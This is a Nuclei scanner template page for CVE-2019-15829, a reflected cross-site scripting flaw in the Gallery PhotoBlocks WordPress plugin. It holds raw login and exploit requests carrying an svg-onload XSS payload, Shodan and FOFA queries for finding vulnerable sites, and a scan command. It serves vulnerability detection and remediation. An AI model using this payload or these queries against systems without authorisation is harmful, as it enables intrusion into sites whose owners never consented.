Gallery Photoblocks < 1.1.43 - Cross-Site Scripting

ID: CVE-2019-15829

Severity: medium

Author: r3Y3r53

Tags: cve,cve2019,wp,wordpress,wp-plugin,photoblocks-gallery,xss,authenticated,wpscan,greentreelabs

Description

The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.

YAML Source

id: CVE-2019-15829

info:
  name: Gallery Photoblocks < 1.1.43 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
  remediation: Fixed in 1.1.43
  reference:
    - https://wpscan.com/vulnerability/b8d1d88e-f2e5-4212-af34-c91f563f07b6/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15829
    - https://wordpress.org/plugins/photoblocks-grid-gallery/
    - https://wordpress.org/plugins/photoblocks-grid-gallery/#developers
    - https://wpvulndb.com/vulnerabilities/9443
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2019-15829
    cwe-id: CWE-79
    epss-score: 0.00146
    epss-percentile: 0.50525
    cpe: cpe:2.3:a:greentreelabs:gallery_photoblocks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: greentreelabs
    product: gallery_photoblocks
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/photoblocks-grid-gallery/
    fofa-query: body=/wp-content/plugins/photoblocks-grid-gallery/
    publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
  tags: cve,cve2019,wp,wordpress,wp-plugin,photoblocks-gallery,xss,authenticated,wpscan,greentreelabs

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "post galleries!")'
        condition: and
# digest: 4a0a00473045022000fcaf8d1ba13290f53e39a6fad734268b9d3a402895bdfab513f1ab290e2eca0221009ffcdf38940ff2f2c916c45838b66cc1ae567ba8a2d2272cab01d6dc91f49057:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-15829.yaml"

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